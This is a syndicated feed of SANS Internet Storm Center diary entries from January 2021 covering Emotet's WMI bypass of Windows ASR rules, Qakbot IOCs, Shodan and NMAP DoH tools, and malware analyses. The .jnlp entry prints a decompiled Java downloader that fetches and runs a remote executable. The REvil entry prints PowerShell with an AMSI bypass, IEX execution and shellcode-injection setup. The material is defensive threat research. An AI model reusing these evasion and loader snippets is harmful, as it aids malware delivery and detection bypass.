SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 2 óra 12 perc
2021. január 28.

ISC Stormcast For Thursday, January 28th, 2021 https://isc.sans.edu/podcastdetail.html?id=7348, (Thu, Jan 28th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 28.

Emotet vs. Windows Attack Surface Reduction, (Thu, Jan 28th)

Emotet malware in the form of malicious Word documents continued to make the rounds over the past weeks, and the samples initially often had pretty poor anti-virus coverage (Virustotal) .The encoding used by the maldoc is very similar to what Didier Stevens analyzed in his recent diary, and the same method can be used to extract the mal-code from the current Emotet docs.

With the de-obfuscation reasonably straight forward, I proceeded to look into how the malware crooks accomplish execution from within the Word doc, and in particular, why Microsoft's "Attack Surface Reduction Rules" do not seem to help much.

But first, let's take a quick detour into what Attack Surface Reduction (ASR) promises to do on modern Windows devices. ASR is a somewhat clunky set of additional protections in Microsoft Defender Antivirus that can be turned on to log or intercept (block) some common attack scenarios. Microsoft's web site offers meager documentation, including a marginally helpful list of GUIDs that can be used to activate the feature.

One rule, "Block all Office Applications from creating child processes" (GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A) is supposed to prevent a Word document from launching any other task. Therefore, when this rule is configured, we would expect that the current Emotet and its execution chain of Word-Doc -> cmd.exe -> Powershell should not be successful. But it is.

Closer inspection of the Defender Event Log gives a hint "why": 

The only ASR rule that we see firing when the Emotet Doc is being opened is the one with ID d1e49aac-8f56-4280-b9ba-993a6d77406c, corresponding to "Block process creations originating from PSExec and WMI commands". Yes, the Emotet VBA Macro is using a WMI (windows management instrumentation) call to launch the subsequent attack code. For such WMI invocation via the Win32 Process class, the parent process of "cmd" ends up being WmiPrvSe.exe, which in turn is launched from "svchost". Therefore, "cmd" is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn't trigger. Bah!

In corporate environments, remote management of user devices often uses tools like SCCM or Endpoint Manager, which in turn rely on WMI to function. Therefore, setting the ASR Rule for WMI/PSExec to "block" will likely break device management, and cause a huge mess. Chances are, the Emotet crooks were fully aware of this, and that's exactly why they chose this particular execution method for their attack code.

If you have Microsoft ATP, you can also use a hunting rule like this to search for WMI process creation

DeviceEvents
| where ActionType == "ProcessCreatedUsingWmiQuery"
| project Timestamp, DeviceName, ActionType, FileName, SHA1, FolderPath, InitiatingProcessCommandLine, ProcessCommandLine
| sort by Timestamp desc

You might have to add a couple of exclusions to cover your management instrumentation or software distribution tools, but with a bit of tuning, you should see any current Emotet-like WMI attempts in your environment. The ProcessCommandLine in these cases will be long (>600chars) and contain Base64 encoded Powershell, and the InitiatingProcess is Winword.

In the meantime, the probably best bet to protect your Windows users against Emotet and similar malware remains to quarantine password protected zips or Office documents with macros on your email gateway, or to disable macros within Office outright if you can get away with it.

Maybe, in a decade or three, Microsoft will get to the point where malware introduced via Office documents really no longer is a concern and prevalent problem. Until then, I guess we have to kinda hope that today's international raid by law enforcement against the Emotet gang really got the right guys, and got them good.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 27.

TriOp - tool for gathering (not just) security-related data from Shodan.io (tool drop), (Wed, Jan 27th)

If you’re a regular reader of our Diaries, you may remember that over the last year and a half, a not insignificant portion of my posts has been devoted to discussing some of the trends in internet-connected systems. We looked at changes in the number of internet-facing machines affected by BlueKeep[1], SMBGhost[2], Shitrix[3] and several other vulnerabilities [4] as well as at the changes in TLS 1.3 support over time[5] and several other areas [6,7].  Today, we’re going to take a look at the tool, that I’ve used to gather data, on which the Diaries were based, from Shodan.io.

In keeping with the Shodan theme, I’ve called the tool TriOp. It is a Python script, which enables you to quickly build a list (or multiple lists) of Shodan search terms and then repeatedly (e.g. once every day) get the count of public IPs, which satisfy each of them, from the Shodan API.

The basic use of the tool is quite straightforward – in addition to creating a Shodan account and getting its API key, one only needs to create a list of Shodan queries one wishes to monitor over time, input this list into TriOp (as a CSV file where the first row specifies the queries or through a command line as a comma-separated list) and the tool will do the rest. It can output the results of the queries to command line, but its more useful feature is the option to save the results in a CSV, which can later be used as an input for TriOp.

 

The basic search can be done using the -s/--search option in the following way:

triop.py -s "port:80,port:443"

In such a case, the output might look like this:

TriOp 1.0 Current IP count for query port:80 is 72010982 Current IP count for query port:443 is 59072465

Where things get interesting is the output to a file using the -O/--output_file option:

triop.py -s "port:80,port:443" -O http_ports.csv

The resultant CSV file would have the following structure:

Date,2021-01-26 port:80, 72036704 port:443, 59145503

You can probably see why using the same file as input on another day might be useful. If one were to use this file as an input today using the -S/--search_file option and add the -a/--append option, TriOp would add another row to the file with today’s date.

triop.py -S http_ports.csv -a

The updated CSV file would then look like this:

Date,2021-01-26,2021-01-27 port:80,72036704,72010982 port:443,59145503,59072465

If one wanted to monitor the situation on a day to day basis, one would only need to run the same command each day (preferably using some automatic scheduling mechanism).

Although gathering data about the number of public IPs with different ports open to the internet may be interesting, as it gives us some idea about how the global network changes over time[8], we are certainly not limited to just the “ports:” filter.

Since TriOp only gets a "count" for each of the queries and not the related list of IP addresses, which satisfy the queries, one may use any combination of Shodan search filters with it (even those, which are normally accessible only to enterprise or researches-level accounts), even with a free account.

This means that one may use TriOp to monitor the changes in different open ports in specific IP ranges (filter “net:”), ASNs (filter “asn:”) or countries (filter “country:”), but also to monitor changes in the number of IPs affected by specific vulnerabilities (filter “vuln:”), systems with specific JARM[9] fingerprints (filter “ssl.jarm:”), etc.

Since we’ve mentioned vulnerabilities, if this is area that interests you, you may also use TriOp as a high-level “passive” vulnerability scanner. Shodan itself detects machines affected by some vulnerabilities – currently it seems to be able to identify about 2246 of the approximately 190k CVEs published so far, according to the results of my tests[10] – and nothing is stopping us from getting the “count” for these. List of the CVEs “supported” by Shodan, which I’ve been able to identify, are included in TriOp and one may search for them simply using any query in combination with the --vuln_search_level option:

triop.py -s "country:US" --vuln_search_level 3

The previous command would result in a very long output giving us the number of public IPs in the US, on which systems vulnerable to specific CVEs might be found:

TriOp 1.0 Checking whether Shodan detects any vulnerabilities for search country:US. Current IP count for query country:US has_vuln:true is 10398899 Current IP count for query country:US is 160792718 Current IP count for query country:US vuln:CVE-1999-0045 is 1 ...

The tool has additional features as well (adding new queries to existing search files, exporting data related to similar searches from multiple search files, etc.) and you may find some of them demonstrated in the tutorial video bellow.

The one last feature I will mention here is the ability to load multiple input files based on a specified “mask”. I’ve originally created TriOp with the intention to monitor changes in the number of vulnerable systems, ports and services both globally as well as in different countries and I’ve created over a hundred different search files by now (one per each country I was interested in as well, several for different sets of vulnerabilities, etc.). In order for me to be able to “update” each of them on a daily basis, TriOp supports the --filename_load option, which enables one to specify a string, which is then used to select files which should be used as inputs. If one were to use the following mask for example, all CSV files in the current folder would be used as inputs and consequently updated.

triop.py --filename_load .csv -a

As you may see, although TriOp is a fairly simple tool, which only gathers “counts” for each of the submitted queries, its outputs can be quite useful. This goes especially for any (national) CSIRT, which wants to monitor public IPs of its constituency, but lacks a capability to scan it on a daily basis, or for any security researcher who wants to, for example, compare the number of devices affected by specific vulnerabilities in different countries.

In any case, if you’d like to try TriOp yourself, you may download it from my GitHub page.

-----------
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 27.

ISC Stormcast For Wednesday, January 27th, 2021 https://isc.sans.edu/podcastdetail.html?id=7346, (Wed, Jan 27th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 26.

TA551 (Shathak) Word docs push Qakbot (Qbot), (Tue, Jan 26th)

Introduction

Late last week, we saw new samples of Word documents from TA551 (Shathak) pushing malware.  This actor was active up through 2020-12-18 pushing IcedID malware before going on break for the holidays.  Now that it's returned, TA551 has been pushing Qakbot (Qbot) malware instead of IcedID.


Shown above: flow chart for recent TA551 (Shathak) activity so far in January 2021.

Images from the infection

See below for images associated with the infection in my lab environment.


Shown above:  Screenshot of the TA551 (Shathak) Word document with macros for Qakbot (Qbot).


Shown above:  Regsvr32 pop up message when the malware DLL to install Qakbot has successuflly run.


Shown above:  Start of TCP stream showing the HTTP request and response for the initial DLL to install Qakbot (Qbot).


Shown above:  Traffic from the infection filtered in Wireshark (part 1).


Shown above:  Traffic from the infection filtered in Wireshark (part 2).


Shown above:  Traffic from the infection filtered in Wireshark (part 3).


Shown above:  One of the emails exported from the pcap (a copy is available here).

Notes

This month, the affiliate or campaign identification string for Qakbot malware distributed through TA551 has been krk01.  When my krk01 Qakbot-infected host started spamming more Qakbot, the affiliate/campaign ID for Qakbot samples caused by this malspam was abc120.

Because of this and its previous history pushing different families of malware, I believe TA551 (Shathak) is a distributor for other criminals in our cyber threat landscape.  The other criminals push malware (like the criminals behind Qakbot), while TA551 is specifically a distribution network.

Indicators of Compromise (IOCs)

SHA256 hash: 17cd3c11fba639c1fe987a79a1b998afe741636ac607254cc134eea02c63f658

  • File size: 76,663 bytes
  • File name: particulars-01.26.21.doc
  • File description: TA551 (Shathak) Word doc with macros for Qakbot (Qbot)

SHA256 hash: 231b081480a80b05d69ed1d2e18ada8a1fd85ba6ce3e69cc8f630ede5ce5400e

  • File size: 888,832 bytes
  • File location: hxxp://5that6[.]com//assets/55ddb775/ce51025b12/9b75bbce/8a06fd47/6ac84e7424b0539286562b/xtuaq14?anz=125c5909&dlzwg=7aec167a5a2ab0&bu=a09f740
  • File location: C:\ProgramData\aZe4I.tmp
  • File description: Windows malware DLL retrieved by Word macro, used to install Qakbot (Qbot) affliate/campaign ID krk01
  • Run method:  regsvr32.exe [filename]

Final words

A pcap of the infection traffic and and malware from the infected Windows host can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 26.

ISC Stormcast For Tuesday, January 26th, 2021 https://isc.sans.edu/podcastdetail.html?id=7344, (Tue, Jan 26th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 25.

Fun with NMAP NSE Scripts and DOH (DNS over HTTPS), (Mon, Jan 25th)

DOH (DNS over HTTPS) has been implemented into the various browsers over the last year or so, and there's a fair amount of support for it on public DNS services.  Because it's encrypted and over TCP, the mantra of "because privacy" has carried the day it looks like.  But why do network and system admins hate it so?

First of all, any name resolution that goes outside the organization, especially if it's encrypted, can't be easily logged.  I get that this is the entire point, but there are several attacks that can be prevented with simple DNS monitoring and sink-holing (blocking known malicious domains), and several attacks that can be mounted using just DNS (delivering malware via DNS TXT records for instance).   

What about DNS Tunneling you ask?  DNS tunnelling over DOH seems like a bit of a silly exercise - unless you're decrypting at your perimeter, DNS tunnelling over DOH is just going to look like HTTPS - you might as well just use HTTPS.

Why do privacy advocates tend to lose this debate at work?

For starters, the expecation of 100% privacy, but then the desire to hold IT and Security folks accountable for any breach or security incident, while you've got their hands tied doesn't hold water.  Especially for decryption, most organizations have broad exceptions by category - for instance, most organizations will not decrypt or inspect banking or financial information, interaction with government sites (taxes and so on), or healthcare sites of any kind.  Believe me, we don't want your banking password any more than we want your AD password!  So out of the gate, both the written and technical policies around decryption for most organizations focus on the individual's privacy, the goal is normally to protect against malware and attacks, HR violations (adult sites for instance), and illegal activity that could put the organization in jeopardy.

Also, the phrase "epxectation of privacy" is key here.  If you are at work, you don't usually have that - you're using the organizations systems and resources, and going about the business of the organization, and you've likely signed an Acceptable Use Policy (or something that covers that same ground) to that effect.  This protects you in that it defines what monitoring the company has, and protects the company in case any of it's employees do anything illegal while at work.  Note that I am not a Lawyer, nor do I play one on TV .. but I have been involved in more than a few "illegal stuff at work" cases over the years (thankfully not as a direct participant) - this stuff is important for both the company and the individuals!

So, with all the politics done, what does a DOH request look like?  The simple approach is to use the dns-json method, as outlined below - it'll save you base64 encoding the requests.  Let's start with a raw request in curl, then refine it a bit:

json formatted data:

curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.cisco.com&type=AAAA'
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"www.cisco.com","type":28}],"Answer":[{"name":"www.cisco.com","type":5,"TTL":3600,"data":"www.cisco.com.akadns.net."},{"name":"www.cisco.com.akadns.net","type":5,"TTL":300,"data":"wwwds.cisco.com.edgekey.net."},{"name":"wwwds.cisco.com.edgekey.net","type":5,"TTL":21600,"data":"wwwds.cisco.com.edgekey.net.globalredir.akadns.net."},{"name":"wwwds.cisco.com.edgekey.net.globalredir.akadns.net","type":5,"TTL":3600,"data":"e2867.dsca.akamaiedge.net."},{"name":"e2867.dsca.akamaiedge.net","type":28,"TTL":20,"data":"2600:1408:5c00:3bc::b33"},{"name":"e2867.dsca.akamaiedge.net","type":28,"TTL":20,"data":"2600:1408:5c00:388::b33"}]}

Looks pretty straightforward - very much like any API that you might be used to.  DOH is an HTTPS request like any other, but with a specific user-agent string and a specific path on the target server (dns-query).  This raw output is great if you're a python script, but let's fix up the formatting a bit so it's a bit more "human readable"

curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.cisco.com&type=AAAA' | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "www.cisco.com",
      "type": 28
    }
  ],
  "Answer": [
    {
      "name": "www.cisco.com",
      "type": 5,
      "TTL": 3597,
      "data": "www.cisco.com.akadns.net."
    },
    {
      "name": "www.cisco.com.akadns.net",
      "type": 5,
      "TTL": 297,
      "data": "wwwds.cisco.com.edgekey.net."
    },
    {
      "name": "wwwds.cisco.com.edgekey.net",
      "type": 5,
      "TTL": 21597,
      "data": "wwwds.cisco.com.edgekey.net.globalredir.akadns.net."
    },
    {
      "name": "wwwds.cisco.com.edgekey.net.globalredir.akadns.net",
      "type": 5,
      "TTL": 3597,
      "data": "e2867.dsca.akamaiedge.net."
    },
    {
      "name": "e2867.dsca.akamaiedge.net",
      "type": 28,
      "TTL": 17,
      "data": "2600:1408:5c00:388::b33"
    },
    {
      "name": "e2867.dsca.akamaiedge.net",
      "type": 28,
      "TTL": 17,
      "data": "2600:1408:5c00:3bc::b33"
    }
  ]
}


now with just the data values parsed out:

curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.cisco.com&type=AAAA' | jq | grep data | tr -s " " | cut -d " " -f 3 | tr -d \"

www.cisco.com.akadns.net.
wwwds.cisco.com.edgekey.net.
wwwds.cisco.com.edgekey.net.globalredir.akadns.net.
e2867.dsca.akamaiedge.net.
2600:1408:5c00:3bc::b33
2600:1408:5c00:388::b33

This is all well and good for a shell script, but if you need to test more servers, what other tools can you use?  With the emphasis on script and multiple, I wrote a short NSE script for NMAP that will make arbitrary DOH requests:

First of all, the syntax is:

nmap -p433 <target> --script=dns-doh <DNS server> --script-args query=<query type>,target=<DNS lookup value>

>nmap -p 443 --script=dns-doh 1.1.1.1 --script-args query=A,target=isc.sans.edu

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-25 12:04 Eastern Standard Time

Nmap scan report for one.one.one.one (1.1.1.1)

Host is up (0.027s latency).

 

PORT    STATE SERVICE

443/tcp open  https

| dns-doh:

|   Answer:

|

|       type: 1

|       name: isc.sans.edu

|       TTL: 7

|       data: 45.60.103.34

|

|       type: 1

|       name: isc.sans.edu

|       TTL: 7

|       data: 45.60.31.34

|   AD: false

|   Status: 0

|   RA: true

|   Question:

|

|       type: 1

|       name: isc.sans.edu
|   CD: false
|   RD: true
|_  TC: false

Nmap done: 1 IP address (1 host up) scanned in 9.08 seconds

Looking at the code (comments are in-line), after all the setup and syntax checking, this is essentially a 3 line script:

local nmap = require "nmap"

local shortport = require "shortport"

local http = require "http"

local stdnse = require "stdnse"

local string = require "string"

local table = require "table"

local json = require "json"

local strbuf = require "strbuf"

 

description = [[

Performs a DOH lookup against the target site

variables: t = <target of dns query>

           q = <dns query type>

]]

---

-- @usage

-- nmap <target> --script=doh <DNS server> --script-args query=<query type>,target=<DNS lookup value>

--

-- @output

-- 443/tcp open   https

-- | results of query

--

---

author = {"Rob VandenBrink","rob@coherentsecurity.com"}

license = "Creative Commons https://creativecommons.org/licenses/by-nc-sa/4.0/"

categories = { "discovery" }

portrule = shortport.http

action = function(host,port)

     -- collect the command line arguments

     local query = stdnse.get_script_args('query')

     local target = stdnse.get_script_args('target')

     -- input checking - check that both arg values are present and non-zero

     if(query==nil or query == '') then

         return "DNS query operation is not defined (A,AAAA,MX,PTR,TXT etc)"

     end

     if(target==nil or target=='') then

         return "DNS target is not defined (host, domain, IP address etc)"

     end

     -- construct the query string, the path in the DOH HTTPS GET

     local qstring = '/dns-query?name='..target..'&type='..query

     -- define the header value (which defines the output type)

     local options = {header={}}

     options['header']['accept'] = 'application/dns-json'

     -- Get some DOH answers!

     local response = http.get(host.ip, port.number, qstring, options)

     -- convert results to JSON for more legible output

     local stat, resp =json.parse(response.body)

     return resp

end

 

The dns-doh.nse script is available and is maintained at: https://github.com/robvandenbrink/dns-doh.nse

If you find any issues with this code, by all means use our comment section to report them, or ping me via git

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 25.

ISC Stormcast For Monday, January 25th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7342, (Mon, Jan 25th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 24.

Video: Doc &#x26; RTF Malicious Document, (Sun, Jan 24th)

I made a video for my diary entry "Doc & RTF Malicious Document". And I show a new feature of my tool re-search.py, that helps with filtering URLs found in OOXML files.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 23.

CyberChef: Analyzing OOXML Files for URLs, (Sat, Jan 23rd)

In diary entry "Doc & RTF Malicious Document" I start analyzing a malicious Word document with my tools.

That Word document, an Office Open XML file (OOXML, .docx), is a ZIP container with XML files. I show how to extract URLs from this document.

CyberChef can also process ZIP files: I made a CyberChef recipe to extract URLs from OOXML files.

This is how it looks:

You can use it for any .docx, .docm, .xlsx, ... file (OOXML file) to see if it contains URLs.

And if you want to understand how I use CyberChef to create this recipe, take a look at this video:

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 22.

Another File Extension to Block in your MTA: .jnlp, (Fri, Jan 22nd)

When hunting, one thing that I like to learn is how attackers can be imaginative at deploying new techniques. I spotted some emails that had suspicious attachments based on the ‘.jnlp’ extension. I’m pretty sure that many people don’t know what’s their purpose and, if you don’t know them, you don’t have a look at them on your logs, SIEM, ... That makes them a good candidate to deliver malicious code!

Basically, a JNLP file[1] is... an XML file! It is created in the “Java Network Launching Protocol”. It contains all the required information to execute a Java program. Usually, it contains the address where to download the malicious applet and the initial class to run.

I did a quick analysis of one of the captured JNLP files:

<?xml version="1.0" encoding="utf-8"?> <jnlp spec="1.0+" codebase="hxxp://secured-doc-read[.]net" href="delivery.jnlp"> <information> <title>Secure Document Reader</title> <vendor>Microsoft</vendor> <homepage href="wwww.microsoft.com"/> <description>Microsoft Secure Document Reader v.4.016</description> </information> <security> <all-permissions/> </security> <resources> <j2se version="1.6+" /> <jar href="delivery.jar" /> </resources> <application-desc main-class="Secure_Document_Reader"> </application-desc> wghjs100570 </jnlp>

The syntax is easy to understand. The payload will be called ‘delivery.jar’ (line 14) and downloaded from secured-doc-read[.].net (line 2). The main class is "Secure_Document_Reader" (line 16).

I decompiled the Jar file (SHA256:a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd)[2] and was surprised to find a very simple code. Often malicious Java applets implement a RAT but here we faced the simple code of a downloader:

public class Secure_Document_Reader { static BufferedInputStream frisco415; static FileOutputStream friekiegee; static String linkage9; public static void main(final String[] array) { frisco415("hxxp://sec-doc-v[.]com/images/dsc0386234.jpg"); } public static void frisco415(final String spec) { final File file = new File(Secure_Document_Reader.linkage9); try { Secure_Document_Reader.frisco415 = new BufferedInputStream(new URL(spec).openStream()); Secure_Document_Reader.friekiegee = new FileOutputStream(Secure_Document_Reader.linkage9); final byte[] array = new byte[1024]; int read; while ((read = Secure_Document_Reader.frisco415.read(array, 0, 1024)) != -1) { Secure_Document_Reader.friekiegee.write(array, 0, read); } Secure_Document_Reader.frisco415.close(); Secure_Document_Reader.friekiegee.close(); } catch (Exception ex) {} try { Desktop.getDesktop().open(file); } catch (Exception ex2) {} } static { Secure_Document_Reader.frisco415 = null; Secure_Document_Reader.friekiegee = null; Secure_Document_Reader.linkage9 = "C:\\ProgramData\\videodrv.exe"; } }

The next stage is download from hxxp://sec-doc-v[.]com/images/dsc0386234.jpg and dropped on disk as 'videodrx.exe". The PE file (SHA256:ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89) has a VT score of 14/59[3].

The usage of .jnlp files is a great way to bypass the first line of defenses (mail filters) because .jnlp files are text files and do not contain any executable code. Note that Java must be installed on the victim's computer to handle .jnlp files.

[1] https://fileinfo.com/extension/jnlp
[2] https://www.virustotal.com/gui/file/a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd/detection
[3] https://www.virustotal.com/gui/file/ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 22.

ISC Stormcast For Friday, January 22nd, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7340, (Fri, Jan 22nd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 21.

Powershell Dropping a REvil Ransomware, (Thu, Jan 21st)

I spotted a piece of Powershell code that deserved some investigations because it makes use of RunSpaces[1]. The file (SHA256:e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf) has a very low VT score: only 1/59![2].

The technique behind RunSpaces is helpful to create new threads on the existing Powershell process, and you can simply add what you need to it and send it off running. Here is an example of Runspace created by the malicious script:

$wabyynegzji = [runspacefactory]::CreateRunspace() $wabyynegzji.ApartmentState = "STA" $wabyynegzji.ThreadOptions = "ReuseThread" $wabyynegzji.Open() $vkzggaes = [PowerShell]::Create() $vkzggaes.Runspace = $wabyynegzji $vkzggaes.AddScript($pqxsxzakx) | out-null $vkzggaes.BeginInvoke() | out-null

The interesting line is the one which contains ‘AddScript’. It is used to attach the piece of Powershell code to be executed in the new threat. Here is the code (located in a separate Script Block):

[Scriptblock]$pqxsxzakx = { try{ [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils').GetField( \   'amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)   }catch{} }

This is a classic bypass for logging and AV detection[3]. Then, a second RunSpace is started:

$mnibvakvi =[runspacefactory]::CreateRunspace() $mnibvakvi.ApartmentState = "STA" $mnibvakvi.ThreadOptions = "ReuseThread" $mnibvakvi.Open() $mnibvakvi.SessionStateProxy.SetVariable("gbwqmnxwc", "L6jelvDCcKXK9A/+Lqto/5i9HtEK4jSsSdITqsGlgtQ=") $slqcphetxifbl = [PowerShell]::Create() $slqcphetxifbl.Runspace = $mnibvakvi $slqcphetxifbl.AddScript($zupcppfvxbxgvwbivbq) | out-null $slqcphetxifbl.BeginInvoke() | out-null

This block of code will decrypt and inject the payload in the current Powershell process. Note that you can pass variables to a RunSpace. In the example above, "gbwqmnxwc" contains the decryption key of the payload:

[Scriptblock]$zupcppfvxbxgvwbivbq = { function tyefcaneraxdmqsfh($gbwqmnxwc, $qpzspadssix, $iizcnwcbb) { $uuvqwwqjjkcolarhdeox=New-Object System.Security.Cryptography.AesCryptoServiceProvider; $uuvqwwqjjkcolarhdeox.Mode="CBC"; $uuvqwwqjjkcolarhdeox.Padding = "Zeros"; $uuvqwwqjjkcolarhdeox.BlockSize = 128; $uuvqwwqjjkcolarhdeox.KeySize = 256; $uuvqwwqjjkcolarhdeox.IV = $qpzspadssix; $uuvqwwqjjkcolarhdeox.Key = $gbwqmnxwc; $lafcsowawwnwcm=$uuvqwwqjjkcolarhdeox.CreateDecryptor(); $trgkzwqbqqbuteoe=$lafcsowawwnwcm.TransformFinalBlock($iizcnwcbb, 0, $iizcnwcbb.Length); return [System.Text.Encoding]::UTF8.GetString($trgkzwqbqqbuteoe).Trim([char]0) } $yweudaxvekawvopqdwdr = “___PAYLOAD_REMOVED___; $yweudaxvekawvopqdwdr = [System.Convert]::FromBase64String($yweudaxvekawvopqdwdr); $qpzspadssix = "+ViLpnC7vTHGHv6nVAcTXw=="; $qpzspadssix = [System.Convert]::FromBase64String($qpzspadssix); $gbwqmnxwc = [System.Convert]::FromBase64String($gbwqmnxwc); $trgkzwqbqqbuteoe = tyefcaneraxdmqsfh $gbwqmnxwc $qpzspadssix $yweudaxvekawvopqdwdr; iex $trgkzwqbqqbuteoe; }

The decrypted code is executed via Invoke-Expression("IEX"). Here is the interesting part of the code which loads the required API calls for performing the injection:

$VirtualAllocAddr = Get-ProcessAddr kernel32.dll ('Virt'+'ualA'+'lloc') $VirtualAllocDelegate = Get-DelType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, \   $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcessAddr kernel32.dll ('Vi'+'rtualFr'+'ee') $VirtualFreeDelegate = Get-DelType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, \   $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcessAddr kernel32.dll ("C"+"reat"+"eT"+"hre"+"ad") $CreateThreadDelegate = Get-DelType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcessAddr kernel32.dll ("Wa"+"it"+"ForSi"+"ngl"+"eObje"+"ct") $WaitForSingleObjectDelegate = Get-DelType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = \ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

The shellcode is injected and decoded:

$hex_str = “__PAYLOAD_REMOVED__” $Shellcode = [byte[]] -split ($hex_str -replace '..', '0x$& ') [IO.File]::WriteAllBytes("c:\shellcode.tmp", $Shellcode) Invoke-Shcd $Shellcode

Let’s have a look at the shellcode now. It’s not starting at offset 0x0 but around 0x770:

remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ xxd -s +1900 shellcode.tmp |head -20 0000076c: 8b44 1624 8d04 580f b70c 108b 4416 1c8d .D.$..X.....D... 0000077c: 0488 8b04 1003 c2eb db4d 5a90 0003 0000 .........MZ..... 0000078c: 0004 0000 00ff ff00 00b8 0000 0000 0000 ................ 0000079c: 0040 0000 0000 0000 0000 0000 0000 0000 .@.............. 000007ac: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000007bc: 0000 0000 00f0 0000 000e 1fba 0e00 b409 ................ 000007cc: cd21 b801 4ccd 2154 6869 7320 7072 6f67 .!..L.!This prog 000007dc: 7261 6d20 6361 6e6e 6f74 2062 6520 7275 ram cannot be ru 000007ec: 6e20 696e 2044 4f53 206d 6f64 652e 0d0d n in DOS mode... 000007fc: 0a24 0000 0000 0000 00c5 3aa4 0881 5bca .$........:...[. 0000080c: 5b81 5bca 5b81 5bca 5bba 05cf 5a80 5bca [.[.[.[.[...Z.[. 0000081c: 5bba 05c9 5a82 5bca 5bba 05ce 5a80 5bca [...Z.[.[...Z.[. 0000082c: 5b5c a404 5b80 5bca 5b5c a401 5b86 5bca [\..[.[.[\..[.[. 0000083c: 5b81 5bcb 5ba3 5bca 5b5c a41a 5b80 5bca [.[.[.[.[\..[.[. 0000084c: 5b16 05ce 5a9b 5bca 5b16 05c8 5a80 5bca [...Z.[.[...Z.[. 0000085c: 5b52 6963 6881 5bca 5b00 0000 0000 0000 [Rich.[.[....... 0000086c: 0000 0000 0000 0000 0050 4500 004c 0105 .........PE..L.. 0000087c: 0012 c4bf 5f00 0000 0000 0000 00e0 0002 ...._........... 0000088c: 210b 010e 0000 b800 0000 2201 0000 0000 !........."..... 0000089c: 001e 4300 0000 1000 0000 d000 0000 0000 ..C.............

Let’s extract this executable and have a look at it. Let’s skip the non-interesting bytes:

remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ tail -c +1926 shellcode.tmp >shellcode.exe

The PE file (SHA256:2fc374346290aaf1060840a5125d9867f99d192b03bfbef94268c2b679d6f905) is unknown on VT but it’s a REvil ransomware. How did I learn this easily?

When I’m teaching the SANS FOR610[4] class about malware analysis, I like to insist on the importance of using a lab completely disconnected from other networks because some weird things may (will!) happen… Because a picture is worth a thousand words, have a look at my lab:

I simply put a breakpoint in my debugger… at the wrong place! I executed the code and the breakpoint was never reached but the ransomware did the job.

About the ransomware itself, the ransomware notifies the victim (via a classic readme file) that files have been encrypted but also exfiltrated. As proof, they provide some URLs:

